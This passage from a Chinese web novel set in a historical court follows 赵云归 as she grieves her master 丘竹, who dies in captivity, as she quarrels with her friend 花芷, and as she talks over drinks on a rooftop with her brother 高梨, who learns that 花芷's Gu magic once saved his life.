赵云归点了点头，手便被快步走来的燕半梦拉走了，很是熟络的挽住她的手臂，刚想抬手摸摸花芷便被拉远了。
只能眼睁睁的看着花芷局促的站起身离开。
“云归？”燕半梦松开手站在她面前，占据了她所有的视线，“别在屋子里待太久了，过几日我们去外面走走吧。”
“再说吧。”
赵云归并不想和她一起出去，直接将手抽了出来，快步走到高梨身旁，“对了，阿兄你上次为什么……”
料到赵云归想要说些什么，移开眼神绕过她拉着燕半梦离开了这里，“都说了不用叫他们。”
“阿兄？！你……”别走啊！
“这……”转过身，就见站在不远处的花芷看着她，笑的勉强。
“花……”
“绾绾，我……出去走走。”说着她也直接起身往外走去，只留下赵云归和箫祁政两人对望。
“有什么事说开不就行了。”像如今这样谁都不好过，无奈的坐上秋千，箫祁政便站在她身后轻轻推着，衣衫随着微风微微飘动，烦心事也被带走了些。
“推快点。”
“好，抓稳了。”
自从箫祁政身亡的消息在朝上散开慕珂便到箫婉兮身边待着了，静静等着箫祁政下一步的消息。
渐渐的，一抹殷红色的夕阳落入水面，在鱼食的引诱下一条条金红色的鱼探出了水面。
箫婉兮躺在躺椅上，一旁的侍女跪在旁边为她扇着风，水中的鱼在侍女撒下的鱼食后游了过来，箫婉兮的视线始终落在水面上，可思绪早已不知飞到何处了。
“公主！”
“你……”终于来了！
投去眼神，只见她身着素色宫装，长发披散，只有一根素簪插着，未施粉黛，可她就只是站在那儿就让箫婉兮移不开眼了。
许是这么多年了，慕珂第一次换回女装，倒让人不适应了。
“都下去。”
箫婉兮的眼神从未移开，微微偏头抿唇一笑，眼角眉梢的笑意毫不掩饰的晕染开来，朝着她的方向伸出了手，“过来。”
话语落地慕珂便抬步走去。
生怕她悬在空中的手举酸了，立马俯身，伸出手拉住了她，箫婉兮顺势借力站起身，“这样看着顺眼多了。”
“真的……就只有顺眼吗？”
慕珂的眼神过于炽热，箫婉兮眼神飘忽的松开了手，拿起一旁的鱼食塞到了她的怀里，“对啊，就是顺眼啊。”
“还能有什么。”小声嘀咕着拿起木桌上的磁盘，戳着一块水果喂到慕珂嘴边，看着她吃掉后转身走到水边，“它们也饿了。”
“好。”
慕珂走过去喂鱼，箫婉兮就一边吃着水果，一边盯着他，时不时给他喂一块水果，岁月静好。
“安……他真的？”如传言那般身亡了吗？
“也许吧。”
慕珂拿着瓷碗的手紧了紧，低下头眼中满是失落，“我如何找不到他。”没有人愿意帮他，可，他们都在找他。
或许，“他们早就找到了吧。”
沉默一瞬，箫婉兮拿过他手中的鱼食，走到不远处的那个木桌上放下，“我累了，回去吧。”
看着她的背影，任由箫婉兮拉着她离开这里。
她心中自是不想骗箫婉兮的，可她是箫元义一母同胞的亲妹妹，无论她表现的与箫祁政多亲，也不能告诉她。
箫祁政为这件事谋划了这么多年了，如今最后一步是万不能有一丝闪失的。
但是，她一定会护住身边之人的。
次日，肖念安一早便被叫去了慈宁宫，只见肖暮云面色凝重的出了神，“姑姑？”
肖暮云点了点头，声音也染上一丝疲惫，“来了。”
“坐吧。”
肖念安走到她身边坐下，却不见纪绍的身影，怎么这般急着叫她来，“是发生什么了吗？”
“唉。”肖暮云的目光沉沉的看向身旁的人，“总感觉箫祁政他……”没那么容易死。
或者是说，他怎么会这样轻易的就死了。
肖念安自然懂得她在担心些什么，拉住她的手安抚着她的情绪，毕竟她是亲眼看着箫祁政毒发身亡的，也是她一刻不松懈的盯着手下的人将箫祁政丢在乱葬岗中的。
可是，“我不放心。”所以她亲自去看了他们搬回来的尸体，总感觉，“那会不会不是他。”
“怎么会，姑姑就是太紧张了。”
她看到的人所身形与箫祁政一样，可他发脸被毁了，很有可能是被替换了，总之，“你们都小心些。”
一定要谨慎些，别大意了。
肖暮云的担心也不无道理，“好，我会提醒父亲的。”
“对了。”
“听说沈明昭她被送走了？”
“是。”
沈溢之可不是一般的疼爱他的女儿，怎么如今竟舍得将她送走了，虽说一个女儿家还是一个瞎了眼的，翻不出什么风浪，可一定没那么简单。
“你也盯着些。”
“嗯好，咳咳咳。”肖念安拿出手帕捂住嘴轻咳着，难受的生理泪水从眼眶滑落，口中的腥甜却让她没有勇气看向手中的帕子。
“咳咳。”
见她半天没动静肖暮云才意识到不对劲，伸手拉住她的手腕，手帕上赫然是一抹猩红，肖暮云愣了一下，“去唤太医。”
“你……”肖暮云松开手，“多久了？”
“姑姑知道的，我的身体一直都不太好。”这种情况到来她也是早有预料了，只是心中还是有些害怕的。
太医感受着她脉搏的跳动，越来越觉得不对劲眉头也皱的越来越紧。
“这是……”收回手抬眸的一瞬对上肖暮云的眼神，像是要将他生吞活剥了一般，不自觉咽了咽口水，“确实是老毛病了。”
“我开个方子，好好调养便可。”
说着便在纸上写着，“切记不可操劳过度，不可动气。”说完他也写完了，将方子递给肖念安便离开了。
肖暮云这才松了口气，“有些事交给手下的人便可，这些时日好生休养吧。”
“好。”
“派人送你回去吧。”
坐在马车上，看着手中的方子，看不太懂，可这与她一直喝的那张方子好像没什么不一样的。
“吁！”
“嘶。”轻按着撞到了的手臂，重新坐好，“怎么了？”
“小姐，有人拦车。”
拦路？谁这么大的胆子，抬手掀开帘子看着外面的场景，看到来人时心头一怔，“景王殿下。”
在青黛搀扶着她走下马车。<
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p>本想开口问问箫轻尘是什么意思，看到一个熟悉的身影，“赵云归？”
她旁边的是谁？
来不及思考，两人便消失在了人群之中。
“你到底要带我去哪儿啊？”赵云归被他拉着逛了许久，着实是走的有些累了。
“累了？”
“嗯。”赵云归睨了他一眼，点了点头。
“那我抱你走？”
“啊？”赵云归吓得往旁边挪了一步，离他远了些，“那也没那么累了。”
虽看不到他的脸，总感觉他在幸灾乐祸。
到了一个几乎没有什么人的地方，两人坐上马车出了城，箫祁政想要帮她按腿却被躲开了，“你都帮我按过，为什么我不可以。”
“这……不一样啊。”
箫祁政早已摘下来面具，装傻充愣道，“哪里不一样？”
赵云归眼神乱瞟，思索着，“就是不一样。”
“好吧。”反正以后还长着呢。
今日起的太早，箫祁政不说话了她没一会儿就靠着他的肩膀睡着了。
“阿音，阿音！”
“嗯？”赵云归迷迷糊糊睁开眼，早已感受不到马车的颠簸了，“到了吗？”
“嗯。”
戴上面具，走下马车，周围全是高大的树木。
一眼看不到头。
走着走着箫祁政突然停下了脚步，“阿音……你不会离开我的对吗？”
“嗯，放心吧。”赵云归揉了揉眼睛，极其敷衍的点了点头，不明白他又是想干些什么，“不会的。”
拉着手继续往前走。
慢慢的，终于是听到了动静，两人蹲下身躲藏起来，观察着。
山崖下面有不少人把守着，那些人的穿着让这里看上去像一个土匪窝子，只是，“带我来这里干嘛？”
他们口中的，“罗刹公子……”如今就在这个里面。
这里背后的人想要烟雨楼，便设计将罗刹公子绑到了这里，并让人冒充，只是这里面的人都是些亡命之徒，到了他们手里还指不定会被折磨成什么样呢。
“什么？”难怪她从未见过，可是，烟雨楼的人都不知道，“你是怎么知道的？”
还是那句话，“想知道自然能知道。”
赵云归看向他的眼中满是探究，他的身上一定有什么不可告人的秘密。
“你想救他？”
“不，我救不了他了。”
本想再说些什么的，箫祁政的眼神突然变得凝重，“是他！”
“谁？”
疑惑的顺着他的视线再次转头看去，只见一个戴着面具的白发玄衣男子出现在两人的视线之内，其他人恭敬的将他领了进去。
“公子，请。”
两人进了地下牢房，打开铁门上的锁走进，丘竹被铁链锁住双手，浑身是血的躺在里面。
那带路的人被一脚踹飞出去。
“你们做了什么？”男子的声音冷冽，浑身上下都散发着冷气，双手紧握，恨不得将那人杀了。
“咳。”
痛苦的捂住胸口，一口鲜血吐出，“公子饶命啊，他被送来时就已经这样了。”他也是为了不让人怀疑才将他关在这里的。
“箫祁政！你好样的！”
“滚。”
那人连滚带爬的离开了这里，男子单膝跪地解开束缚住丘竹的铁链，看着那红痕愣了一瞬，才抬起他那被勒红的手腕轻轻吹气，“对不起，我来晚了。”
说好的保护，最后却，“我还是害了你。”
38.找你找的好辛苦啊
“咳。”
服下药后，在男子紧张的注视下丘竹终于有了反应，可这药终究是治标不治本，他来的太晚了就算服了药也撑不了多久了。
“咳咳咳。”
丘竹用力将手从男子的手中抽出，虚弱无力的靠在墙上，声音依旧低哑，“谁？”
“我。”
哪怕只有一个字丘竹也能听出他是谁，眉头不自觉皱起，想要后退却无路可退，“你怎么会在这儿。”
自然是，“来看你啊。”
说着他控制不住的伸手抚摸着丘竹那已满是血迹的脸颊，刚刚碰到就被躲开了。
“哼。”
见他别看脸，悬在空中的手一顿，轻轻捏住丘竹的脸，迫使他看着自己，“看着我。”
看着？如何看？
见丘竹不再做无用的挣扎，他也是如愿的摸到了他的脸，指尖轻按着他的唇，低哑到声音里带着一丝兴奋，“你真是让我好找啊！”
“哥哥。”
说着，他将脸上的面具摘下，露出了与丘竹一模一样的脸，唯一的不同就是他那紫色的双眸和右眼下的泪痣。
丘竹并不想接话，晋无忧便朝他贴近，温热的气息喷洒在他的脸庞，他的眼神却想要将眼前人吞噬一般。
“咳咳。”
丝丝血迹染上已经泛白的嘴唇，晋无忧见状不悦的皱起了眉头，“还是那么犟。”
“难受也不知道说。”
说着他重新戴上面具后将再次昏迷的丘竹拦腰抱起，走出牢房。
两人等了许久，才见到人出来。
赵云归自是一眼就认出了那人，“师傅！”
视线完完全全被浑身是血的丘竹所占据，完全没注意到一旁慌张的人，怕引起那些人都注意，开口的瞬间便被捂住了嘴，“别叫，他已经死了。”
死了？
愣了一瞬，赵云归挣扎的更厉害了。
怎么可能死了呢？
“骗人，呜呜。”感受到手心的湿润，箫祁政稍微松开了一些。
“你放开我！”
可看她的祥子仿佛下一秒就要跑下去一样，箫祁政只好在她身后一手捂住她的嘴，一手搂住她的腰，将她抱起。
“若是被他们发现就完了。”
箫祁政的声音压的很低，可赵云归丝毫听不进去，眼看着越来越远，她悬在空中的腿开始混乱蹬了起来。
“嗯——唔——”
“松开——”
等回到了马车旁，赵云归也已经精疲力尽了，扶着马车站立喘息着，看上去稍微冷静了一些，可看到箫祁政走近便十分激动，“你离我远点。”
“别碰我！”
箫祁政便想着等她冷静下来再开口，可赵云归看向她时泪盈盈的眼中满是失望，“为什么？”
“究竟是为什么？”就是不肯放过他呢。
“我……”
箫祁政只当是她问的是为什么不让她去。
“你不能去！”要是赵云归真的去了，便一定会被抓走，他如何能眼睁睁看着她去送死呢。
“哼！”一滴又一滴泪珠从眼眶滚落，轻颤的眼中闪过一丝怨恨，只是一瞬她便微微仰头闭上了眼，任由源源不断的泪水顺着脖颈打湿她的衣裳。
“你不说换了一个安全的地方吗？”
“就是这里？”到底为什么要骗她啊？
难怪当初非拦着不让她见丘竹，还说等治好腿了一起去见他，都是他设计好的。
无论赵云归如何怀疑，箫祁政只说是他们趁他不备抓走了丘竹，将他折磨致死的，他的眼神是那般真诚，真诚到让赵云归不得不信。
可，那人是丘竹的亲弟弟，所以，是“我很好糊弄是吗？”
“相信我，好嘛！”
“哼，哈哈哈，相信你？”要她如何相信！
“啊——”赵云归无助的瘫坐在地低吼着，就凭一眼就能判定丘竹已经死了，现在却说让赵云归相信他。
可如今，偏偏她又不能闹的太难看。
“啊——”
“啊——啊—”
赵云归用力的捶打着地面，等箫祁政拉住她时手就已经见了血，泪水糊住了她的双眼，她不想箫祁政碰她，挣扎中闭上了双眼。
“阿音。”
“阿音！”
没想到这件事会对她有这么大的打击，早知道就什么都不该让她知道的，箫祁政紧张的将昏迷的人抱上马车，回到赵府。
“绾绾？”
“怎么回事？”
箫祁政将赵云归放在床榻上，只见她眉头紧皱额头冒着细汗，看上去十分痛苦。
“我去找大夫。”
箫祁政像是没听见她的话般，失神般的快步离开了这里，“喂！”
“你！”花芷只好蹲下身给她把脉，这一看就是气急攻心所致，“他究竟做了什么？”
等大夫来为她施了针，表情看上去才没有那么痛苦了，可依旧没有醒来的迹象，“这……”大夫走到一旁写着药方。
“等药服完便可醒来了。”可若是药服完却没醒来，就麻烦了，“她若是不愿醒来。”
“便一辈子都醒不来。”
“不，不会的。”箫祁政的状态看上去也不太对劲，花芷连忙将大夫送走，再回来时就见他在床榻便握着赵云归的手。
“所以，究竟发生了什么？”
见他不愿提花芷也不强求，“你先出去吧。”
“不。”箫祁政执拗的摇了摇头不肯松手。
看着两人，花芷无奈叹息，“你若是想让外面的人说云归的未婚夫刚死便私会情郎便待着吧。”
“帮我照顾好她。”
“还用你说？”
看了一眼手中的药方，花芷出去叫了小秋到房间里守着便亲自去煎药去了。
而晋无忧将丘竹抱回房间后，又给他喂了一粒药丸，眼神空洞，“能不能告诉我，我究竟要如何才能救你呢？”
说着，侧躺在丘竹的身旁，单手撑着头，指尖轻抚他的脸颊，“醒了就别装了。”
“不然……我……”可指不定会干些什么呢。
丘竹连忙撑着酸软的身体坐起来，往后挪了挪跟晋无忧是什么可怕的人一样。
可他的眼神始终落在丘竹的身上，可丘竹的眼神依旧黯淡无光，见他躲着自己便也不上赶着贴上去了，免得又气出个好歹来。
“给你准备了干净的衣裳。”
将他扶到浴桶边坐下，拉着他的手跟他讲述着各个东西的位置，若是身体还是不舒服的话，“我可以帮你的，哥哥。”
“出去。”
“行啊，待会儿再来看你。”说着，也不再纠缠，起身往外走去，“对了，别想着逃跑。”到了这里是绝对不可能让他跑掉的。
拿上桌上的面具戴上打开房门。
丘竹微微偏头，外面的脚步声突然变多了。
“砰。”晋无忧用力关上门，双手环抱倚靠在门边看着他，见他紧皱的眉头舒展开，摸索着脱下衣裳。
躺进水中。
一切都那样的熟练，好像生来便看不到一般。
等他洗干净，穿上里衣后晋无忧作势打开了门接过外面人端着的吃食，丘竹听到动静后连忙背过身手忙脚乱的穿着衣裳。
他关上门将手中的东西放下便坐在一旁静静看着，轻轻挑眉，似笑非笑，“慌什么？”
“我什么没看过啊，哥…哥…”
丘竹懒得理他，穿好后便不自在的坐在他旁边的凳子上，晋无忧将他带来的粥
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端到他面前，“这些天吃点清淡的。”
“无忧，你……收手吧。”别再做那些事了。
“收手？”晋无忧单手撑着下巴看着他，嘴角的笑意消失不见，“你知道我在做什么吗？”
握着汤匙的手一紧，他怎么会不知道呢，可他还有什么资格管呢，“不知道，也不想知道，你放我走吧。”
放？搞的跟绑架一样，晋无忧的声音也冷了下来，“这件事，想都别想。”
却还是拿起空碗舀了药膳放在他手边。
“喝完。”
“嗯。”丘竹脸上依旧淡然，轻叹一声便赌气般的离开了，关上门，却不想离开了。
转过身看着紧闭的房门，想到丘竹的话心里涌上一股淡淡的悲伤，“这个药也只能服九次，我又能留你到何时啊，哥哥。”
“唉。”
真不知道，“她究竟有什么好的，能让你次次不顾自己的性命也要找她。”
他一直在外守着，丘竹也一直在房间待着，天边红日西沉，光线慢慢变淡，直至天上亮起点点繁星晋无忧才抬步离开。
“咚咚咚。”
打开房门，高梨的脸直直撞进她的眼中，让她一时间愣了神。
“云归她怎么了？”
冰冷的声音将她的思绪用力拽回，侧过身让开身位，“还没醒。”
高梨本想进去看看，可奈何现在太晚了，再怎么关心也不能坏了规矩，“我明日再来看她。”
“麻烦你了。”
“嗯。”花芷垂下眼眸，等了一瞬见他不再开口便关上了门，背靠在木门上。
脚步声消失花芷顺着门下滑，跌坐在地。
一手紧紧的攥着胸口的衣裳，一手捂着嘴，眼泪如断了线的珍珠一样落下，她却害怕自己哭的太大声了。
“咚咚咚。”
又过了许久，泪水再也无法从她那红肿的眼中落下，声音也变得嘶哑，“谁？”
“是我。”
“我找了药，你现在喂给她。”
“咳咳。”花芷刚开口便感受到干涩，难受的咳出了声，“放门口。”
等箫祁政离开才踉跄着起身打开门。
蹲下身捡起地上的药打开，凑近闻了闻，“神医谷的药？”他是怎么弄到的？
疑惑着走到床边，将赵云归扶起让她靠在怀中一点一点将药喂进她嘴中。
“咳。”
过了一会儿，怀中的人终于有了些反应。
“不要……不……”
“咳。”赵云归缓缓睁开眼，“师……咳”，突如其来的鲜血吐在两人身上，花芷紧张的轻拍着她的背。
再次闭上了眼。
花芷把了脉便将她放平，“还好，淤血吐出来就好了。”
她起身去打来了温水，给她擦拭着血迹，又换了干净的衣裳才去处理自己身上的血迹。
“这是怎么了？”
看到高梨的身影，花芷下意识的想要挡住身上的血迹，一时间有些慌乱，“你怎么还没走？”
“你对云归做了什么？”
“啊？”本以为他是在担心自己，没想到是害怕花芷伤害他的妹妹，别看眼神自嘲一笑便想离开这里。
高梨却抓住了她，“说话。”
“嘶。”
“我能做什么，担心就自己去看。”高梨的手还在用力，疼的她手都在微微发颤。
“你最好是。”
松开手便同小秋一起进了房间。
原来……“在你心中我就是这样一个人啊。”
“呼。”抿着嘴抬手将脸上的泪水擦拭干净，微微仰头轻眨着眼睛，忍住心中的酸涩不再回头，长呼一口气离开了这里。
身体沉入水中，好想就这样沉沉睡去啊。
39.你要我如何再信你啊
晨风微微吹来，天空泛起一丝亮光，透过淡淡的雾气洒在地面上。
“咚咚咚。”
象征性的敲了敲门，不给里面的人回应的机会便推门进去了，丘竹也是见怪不怪了，快速穿好衣裳站了起来，走到桌边坐下。
感受到热粥放在手边他才缓缓开口，“你什么时候才能放我离开。”
晋无忧的手放在腰间，想着瓷瓶里最后的四粒药收回落在丘竹身上的目光，无奈垂下了头，“很快了。”
“别催了，好好吃饭。”
“再说了，多陪我几日怎么了？”最后的几日了，哪怕心中多么不愿，也留在他身边吧。
“嗯。”
这些时日，丘竹的身体状况还算平稳，每日服一粒药便好了，只是这最后这几日他变得嗜睡，打不起精神，晋无忧便只好躺在他身侧陪着他。
静静看着他。
直到一日傍晚，外面下起了淅淅沥沥的小雨，今日黑的也就格外的早。
“无忧……”
“嗯？”晋无忧怕丘竹出现什么状况这几日便歇的晚了些，此时便有些迷迷糊糊的了，听到丘竹的声音下意识的回答着，“怎么了？”
“哥哥多希望你能无忧啊！”
“再见了。”
“哥！”晋无忧瞬间清醒，坐起身便下意识的打开瓷瓶想要给他喂药，可他忘了，药已经全部吃完了。
心头一紧，紧握的手松开，瓷瓶滚落。
外面越来大的雨仿佛要将他的心淹没，颤抖的指尖轻抚着早就没有血色了的脸庞，描绘着他的轮廓。
温热的指尖停在他冰冷的嘴唇。
“又一次了。”
“还是……”
指尖微微颤抖着，直到手臂变得酸痛才苦笑着收回了手，起身往外走去，他的心再一次变得空落落的，再一次失去了亲人，却早已麻木。
孤零零的站在雨中，雨水顺着颈部滑下，浑身都被浸湿，那一丝冰凉让他保持着最后的清醒，不知是雨水太咸还是他早已落下泪来。
此时，昏迷了几日的赵云归也醒了过来。
“咳咳咳。”
那些画面在脑海被无限放大，冲击着她最后的防线，撑着酸软的身体坐起无神的看着四周，环抱着膝盖，肩膀微微颤抖着，泪水无声滑落。
“吱呀！”
“云归！”终于醒了。
高梨见她醒来声音中满是欣喜，连忙带着大夫走近想要给她平脉，还没走到身边她便抬头看了过去，“出去！”
“云……”高梨还是想要大夫再给她看看，可赵云归并不想与他们纠缠，起身往外走，“阿兄，我已无碍了。”
将两人送出去后便一个人坐在秋千上发呆。
过去的回忆在她脑中回放着，好像这一切就在昨日一般。
“绾绾？”花芷抱着一堆东西走近了，见她坐在秋千上连忙加快脚步走进房间放好东西，取了一件薄披风给她披上。
怎么穿这么少就出来了，“千万别着凉了。”
说着她剥开手中的糖喂到了她的嘴里。
有些发苦的嘴感受到一丝甜味，赵云归的眼眶再次变得湿润，抬手抱住花芷的腰，声音变得哽咽了，“花芷。”
“怎么办。”
“哼嗯……我……没有师傅了。”
花芷轻轻摸着她的头，脑海中浮现出鸢伏苓的脸庞，心中也生出一丝酸涩，“你还有我啊。”
“哼嗯……都怪我。”
“哼嗯……哼嗯哼……”
赵云归心中明白，她无法与箫祁政对立，如今他便只想让时间过去的快一点，再快一点。
让他们得到应有的报应，然后离开这里。
不想身边的人再被牵连了。
这几日箫祁政都在忙自己的事，也没再到赵云归眼前晃悠了。
她也只想在房间里待着，不论花芷怎么说也不肯出去。
她如今想一个人呆着花芷便每日都出去，不知道去哪儿便随意走走，若是看到什么好玩的好看的便被她带回来。
时至午膳，今日的阳光格外耀眼，也是格外的热。
赵云归便在凉亭中坐下了。
“绾绾！”
花芷今日也早早的回来了，端着各式各样的糕点放下了，“尝尝。”
“你吃吧，我没什么胃口。”
“唉。”一直这样下去也不是办法啊，花芷便想着说些什么让她转移注意力，“前些时日宫中的那位秘密出宫了，还有你知道吗，今日她私下召见了一个人。”
“你猜是谁？”
“花芷……”赵云归并不想听她说下去，可花芷见她终于有了不一样的反应，定是不会就此打住的。
赵云归看向她时目光中是明显的不悦。
可花芷还却像是没看见一样，把她知道的一股脑的往外说。
“花芷！”
赵云归提高音量才打断了她，她微微蹙起眉头花芷却只当是她听烦了，可这几天压在心底的情绪却都涌了上来。
“我不是说了，让你别管这些事吗？”嘴里说着不去管知道的却比谁都多，如此卖力究竟是为了谁。
“我……”
她当初确实答应了赵云归，可有些事情不是她不招惹便可以远离的，花芷不明白她为什么反应会这么大。
“绾绾，我……”只是想帮忙而已啊。
“别说了，我不知道是谁让你这样做的，可我现在不想陪你演戏。”
这是什么意思？
“绾绾？”
所以说，从头到尾，“你根本就没有信过我是吗，连你也觉得我要害你吗？”
“我也想信你啊。”可是这一切所作所为让人不得不怀疑啊。
赵云归一直都知道她同宫中有书信往来，也知道在自己不在时她偷偷的在找什么东西，明明那么多次她都可以告诉赵云归，可她什么都没有说。
所以，“你要我如何信你啊？”
“鸢尾。”众所周知，是靠着肖暮云走到如今的鸢尾啊。
“我……”
“你……”原来都知道吗？
原本已经到了嘴边的话，再也说不出口了，可花芷又怎么会害她呢，“绾绾，你听我解释。”
“我……”
赵云归并不想同她吵架，心平气和的说开便好了，“好，你解释吧。”
“我听着。”
赵云归一直都知道两人的重逢是被设计好的，她始终相信花芷不会害她，可赵云归不明白，为什么连她最信任的人也要骗她呢。
越是冷静的看着她，花芷便感觉所有的话都被堵住了，不知该从何开口。
“我……”
“行了，你走吧。”离开这里，离开她。
“嗯。”花芷点了点头，她本就不属于这里，也许，早就该离开了，“对不起。”
起身离开，赵云归便再也没有看她了。
收拾东西时才发现，她根本没带来什么，也带不走什么。
孤零
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零的站在门口，大门逐渐紧闭，垂下头看着自己曾沾满鲜血的双手自嘲一笑，“我不过是想以更好的身份留在你身边。”
“陪着你。”
离开将军府她便只能回鬼市的住所了。
挑了一件紫色长裙，随意盘了一下长发又带了些银饰后便拿上手边的银狮面具出去了烟雨楼。
“咳咳咳。”
难闻的气味直冲她来花芷扇了扇风，仿佛这样能好受一些，外面的木桌整齐的排列着却没有多少人。
声音是从里面传来的。
花芷往里走去却被拦住了，“见帖才能进。”
他这模样一看就是新来的，不耐的皱了皱眉，不悦道，“罗刹公子在吗？”
“不在。”
小厮说话的声音很小，虽说是拦着她可悬在空中的手却颤抖个不停，紧张的盯着花芷看咽了咽口水，下意识的往后撤了一步，方便逃跑。
“滚。”
“好。”小厮没有一丝犹豫的转身跑开。
无语的白了他一眼便推开了门，里面的声音瞬间冲向她，吵的她皱起了眉头。
许是被她吸引，一时间全部噤声投来目光。
见到来人时她原本不善的目光瞬间消失，又重新做着手中的事。
“啧。”空气中弥漫的强烈的血腥味，太久没有到这样的环境了，只觉胃里一阵翻涌，加快脚步走到了里面的那扇门前，“咚咚咚。”
一。
二。
三。
没有回应，花芷便直接推门进去，并没有人敢阻拦。
“有事？”
环视四周并且看到有人在，关上门走进去坐下等了一会一个与她戴着同样面具的白发男子便在她对面坐下。
“还是这么没规矩。”
“我是来见我师弟的，要讲什么规矩？”
当初鸢伏苓见花芷只有制毒的天赋却无蛊术的缘分便像当初一样，又拐了一人，只是并未全部教授便病发身亡了。
不过就算如此晋无忧也该算她半个师弟。
“行了，有事说事。”别想着套近乎了。
他已经点明了，花芷也就不拐弯抹角了，“帮我一个忙。”
“你没什么能给我的了。”当初需要花芷的药给丘竹续命，可如今，花芷身上的东西他已经用不到了，也看不上了。
“是吗？”
花芷将事先准备好的小木匣放在晋无忧面前，“看看。”
“哼。”晋无忧并不觉得花芷还能拿出什么他感兴趣的东西，不过，都已经送到他面前了看看也无妨。
“这……”
晋无忧愣愣的看着匣子中的东西，面具后的脸上满是惊喜，如此看来，“你还真是厉害啊。”
匣子里是一块石头。
肉眼看去，那块石头通体光滑，里面炸开了一粒粒蓝色的水晶，指尖触碰，一股冰凉刺激着他每一根神经。
晋无忧自是知道它是用来干嘛的。
将已逝之人放入极寒之地，再将它含在口中，便可保尸身不腐。
不过，“你将它偷出来。”
“真的不怕他们找上你吗？”晋无忧将木匣子合上收起来，打量着她，觉得有趣。
这本是鸢伏苓的东西，花芷是她的徒弟，又怎么说得上是偷呢，再说了这东西他们留着也无用，而且，“这不关你的事。”
“收了东西便将事办好。”
“放心吧。”就算是为了丘竹，他也会将这事安排妥当的。
40.回忆总是扣人心弦
花芷走后赵云归一个人坐了许久，才起身，本准备在秋千上坐会儿，指尖碰到的一瞬却感到一丝揪心。
“小秋。”
“二小姐有什么吩咐。”
“把……”愣了一瞬便将手收了回来，转过身去，“把它拆掉。”
“是。”小秋虽不解，也不能多说只能照办。
做起来麻烦，拆起来可快的很。
夕阳西下，晚霞醉人，赵云归已经靠在桃树旁一动不动坐了许久了，高梨也在一旁看了许久了，他虽不知道赵云归究竟遇到了什么，却知道她定是想一个待着的，便不敢上前。
怕她做什么傻事，只好在旁边默默守着了。
守到日落西山，守到明月悬空。
最后实在是忍不住了，便转身出去取了几壶酒走到赵云归身边蹲下，“喝点儿？”
“啊？不……”
赵云归还没反应过来高梨便抓住她的手臂将她提溜了起来。
“啊！”
惊呼一声她便已经被迫坐在屋顶上了。
“我…你……”虽说赵云归早就发现高梨在旁边，可没想到他会突然来这一出啊，一时间都吓结巴了。
“我…我其实…不太能喝酒的。”
高梨总觉得她这表情是心中还有事，还没有缓过神来，压根就没管她说了什么，直接将她说的话扔到一边，解开酒坛子上的绳子，往她手里塞了一壶酒，“喝。”
喝醉了就什么都忘了，忘了就不会难过了。
可是，“我……”不想喝酒啊！
“嘭！”
话都到嘴边了也没来得及说出口，就见手中的酒壶就被撞了一下，发出清脆的响声。
“喝！”
高梨仰头，高举酒壶，酒水流下落入口中。
看的赵云归鬼使神差的抱起酒壶灌了一口，可她之前哪里这样灌过酒啊，他找的这酒又烈，害的赵云归被呛得咳嗽个不停。
“咳咳。”
“咳咳咳。”
“哈哈哈！”高梨身子往后仰着，一手撑着，迎着月光偏头看着她，感觉她真的变了不少，可这句话他没有说出口。
“云……”
“阿兄……”
一人想要知道她如今发生了什么，一人想要知道他之前发生了什么，便借着这一刻开了口。
“想问什么便问吧。”
赵云归也不谦让什么了，直接将心底的疑问问了出来，“阿兄明明说爱慕花芷的？”
“为何……”一声不吭的离开，为何要娶她人为妻，害的花芷伤透了心呢。
“唉！”谁会去伤害自己心爱之人呢。
可是……
高梨轻叹一声，闭上眼脑海中便是花芷那含笑的双眼，“我一直以为我是因为她……”
因为她每一个瞬间都让人移不开眼，因为她是她所以想要更了解她，想要一直同她一起谈风花雪月看世间沧海，而爱上她的。
“可是……”
那一日他才知道，“花芷她偷偷给我下了蛊，对吗？”
“所以啊。”轻叹一声又猛灌了一口酒。
所以……原来爱她不是出自本能，而是因为蛊虫作祟吗，高梨不敢相信这些年所寻找的是这样一个人，是这样一个真相。
可他始终舍不得同她吵闹，所以，“我便离开了。”
“蛊虫？”
“可，她是……”赵云归喝了酒后大脑便有些混乱，思考一瞬才想起来，可花芷给他下蛊，是，“为了救你啊！”
“救…救我？”
“怎么可能，我明明……”明明都听见啊……不……他明明什么都没有听见啊！
“当时……”
花芷说当时的高梨早剩最后一口气了，可以她当时的医术根本救不回高梨了，只是看他眼熟便问了他的姓名，得知他是小时候的小恩人便将鸢伏苓留给她的蛊虫用了。
这蛊能将下蛊之人的性命分给他人。
这本就是一项禁术，鸢伏苓死前也是再三嘱咐她若非万不得已千万不能用其帮人续命，可当时事出紧急，她不知有何后果依旧违背了鸢伏苓。
所以……真的，“是为了救我吗？”
高梨不敢相信真相竟是这样的，可一切又是那样的合理，不知该说什么又给自己灌了许多酒。
“哼。”
所以，当初……“我为什么不信她？”
为什么不问清楚便离开了，她当时该有多伤心啊，可如今再提却也已无法改变任何事了，那就这样吧。
“别告诉她……”就当他从来都不知道这件事吧，就保持如今这个距离便好，“就让她这样恨着我吧。”
“这样……”她便会忘记一切，好好生活吧。
“嗯。”想到什么，她又自嘲的摇了摇头，或许，“我也没有机会告诉她了。”
高梨看着她，两人在沉默中结束了这个话题。
“奇了怪了。”明明是想着陪赵云归谈心的，可他却先有了醉意，轻轻闭上了眼。
凉风习习，吹散了他们本该幸福的生活。
沉默中，赵云归又猛灌了一口酒，风太急了吹红了她的眼眶，无力的低下头，也不知手上的湿润是泪水还是酒水。
不知不觉中壶中的酒已经没了一半了。
她的脸上已经浮现出一丝绯红了，把酒放到旁边向后躺去，心中难免怀念以前云游四海的时刻，那时有他，那时不会孤单。
可如今他已经不在了。
眼角晶莹剔透的泪珠滑落，不小心染上了月光让旁人一眼便能看见。
“阿兄。”
“在青鸾山上云归也有好好研习功课，云归日日都在想是不是只要乖乖的就能回家了。”她那时真的好乖好乖，为什么就是等不到人接她回家呢。
“云归想阿父，想阿母。”
闭上眼睛，泪水如同断了线的珍珠滑落，她哑着嗓子，声音满是苦涩，“云归…真的…真的好想回家！”
高梨起身，轻轻拍了拍她的肩膀，“云归已经回家了，一切都好起来了。”
一切都好起来了吗？
赵云归轻轻晃动着脑袋，但愿她能早一点醒过来吧，可真的醒来了看到如今的这一切，她又是否会……很失望呢。
还有啊。
不是说醉了便什么都忘了嘛，可为什么感觉脑海的记忆却越来越清晰，却又什么也抓不住呢。
也什么都留不住啊。
高梨看着紧闭双眼却表情痛苦的赵云归，只见她的呼吸越来越均匀，轻叹一声他也向后躺去，枕着手臂看着那点点繁星。
高梨只知道来赵府的那一年他五岁。
